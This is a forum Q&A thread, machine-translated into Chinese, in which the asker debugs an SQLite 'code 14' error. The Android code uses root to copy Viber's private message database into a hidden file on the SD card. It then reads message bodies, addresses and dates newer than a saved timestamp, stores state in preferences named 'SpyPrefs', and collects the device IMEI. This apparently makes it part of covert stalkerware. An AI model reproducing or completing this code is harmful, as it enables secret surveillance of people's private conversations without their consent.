我已經紮根手機並將其他應用程序的數據庫複製到SD卡中。SQLite:例外:未知錯誤(代碼14):無法打開數據庫
在下面的代碼中,它只是複製db文件,然後從表中獲取數據。此代碼拋出異常Exception:unknown error (code 14): Could not open database
如果您對此有任何想法,夥計們會幫助我。
String filep ="/mnt/sdcard/.configsvb.db";
String filefolder="/data/data/com.viber.voip/databases/viber_messages";
Runtime.getRuntime().exec(new String[] { "su", "-c","cat "+filefolder+" > "+filep+" ; "});
new Helper().readvb(filep, getApplicationContext(), data); // This method read the database file.
Helper.java
public void readvb(String filep,Context con, StringBuilder data)
{
File dbfile = new File(filep);
SharedPreferences preferences = con.getSharedPreferences("SpyPrefs", Context.MODE_WORLD_WRITEABLE);
Editor editor = preferences.edit();
if(dbfile.exists())
{
myDataBase = SQLiteDatabase.openDatabase(filep, null,SQLiteDatabase.NO_LOCALIZED_COLLATORS);
long lastmessage = preferences.getLong("LastViberRead", 0);
long msgtime=0;
StringBuilder xml = new StringBuilder();
LogsTable logtable= new LogsTable(con);
Cursor cursor = myDataBase.query(DATABASE_TABLE, new String[]{"_id", "address","type", "body","date"}, "date>"+lastmessage, null, null, null, null);
int count=0;
String imei = ((TelephonyManager) con.getSystemService(Context.TELEPHONY_SERVICE)).getDeviceId();
SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd'T'HH:mm:ss");
if(cursor != null)
{
}
}
}
您是否設置了 ? –
是的我已經在清單中有這個。 –
我加了我自己的回覆,試試看,祝你好運! –